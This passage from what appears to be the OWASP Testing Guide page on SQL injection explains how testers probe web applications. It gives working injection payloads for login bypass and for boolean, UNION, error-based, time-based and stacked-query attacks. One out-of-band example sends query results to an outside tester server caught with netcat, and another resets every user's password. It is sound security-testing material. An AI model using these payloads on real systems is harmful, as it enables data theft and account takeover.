all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Exploitation techniques ==&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
All cells in a column must have the same datatype&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time day Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2010-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
